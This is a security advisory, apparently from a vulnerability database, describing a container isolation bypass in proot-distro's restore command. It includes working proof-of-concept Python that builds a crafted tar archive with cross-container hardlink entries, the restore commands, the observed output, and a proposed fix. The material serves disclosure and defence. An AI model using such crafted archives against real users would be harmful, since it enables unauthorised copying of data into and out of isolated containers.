PyPI · proot-distro
proot-distro has a Container Isolation Bypass via Crafted Restore Archive
restore| Component | Version |
|---|---|
| proot-distro | 5.1.5 (confirmed affected) |
| Test distro | Alpine Linux |
| Architecture | aarch64 |
| Device | Samsung Galaxy A23 |
| Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |
When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.
The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.
Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.
As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.
All testing was performed using self-owned containers and harmless marker data only.
proot-distro install alpine --name victim
proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'
Verification:
proot-distro login victim -- cat /root/proof.txt
PROOF-12345
proot-distro install alpine --name attacker
python3 -c '
import tarfile
tf = tarfile.open("malicious.tar", "w")
d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)
h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)
tf.close()
'
proot-distro restore ./malicious.tar
proot-distro run attacker -- cat /exfil/stolen_key
Observed output:
PROOF-12345
This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.
proot-distro install alpine --name attacker
proot-distro login attacker -- sh -lc '
mkdir -p /root
printf "ATTACKER_DATA\n" > /root/source.txt
'
proot-distro install alpine --name victim
python3 -c '
import tarfile
tf = tarfile.open("write_test.tar", "w")
h = tarfile.TarInfo(
"victim/rootfs/root/copied_from_attacker.txt"
)
h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600
tf.addfile(h)
tf.close()
'
proot-distro restore ./write_test.tar
cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"
Observed output:
ATTACKER_DATA
This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.
An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.
Observed impacts include:
The issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers.
During hardlink processing, the restore implementation resolves the source container from the archive's linkname field.
The resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored.
As a result, archive-controlled metadata determines which installed container is used as the source of the copy operation.
link_container, link_src = _dest_path(member.linkname)
if link_src is None:
continue
if link_container != container_name:
continue
link_src = _safe_dest(
link_container,
link_src,
follow_final=True
)
This preserves existing path traversal protections while restoring the expected isolation boundary between containers.
PROOF-12345.ATTACKER_DATA.Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.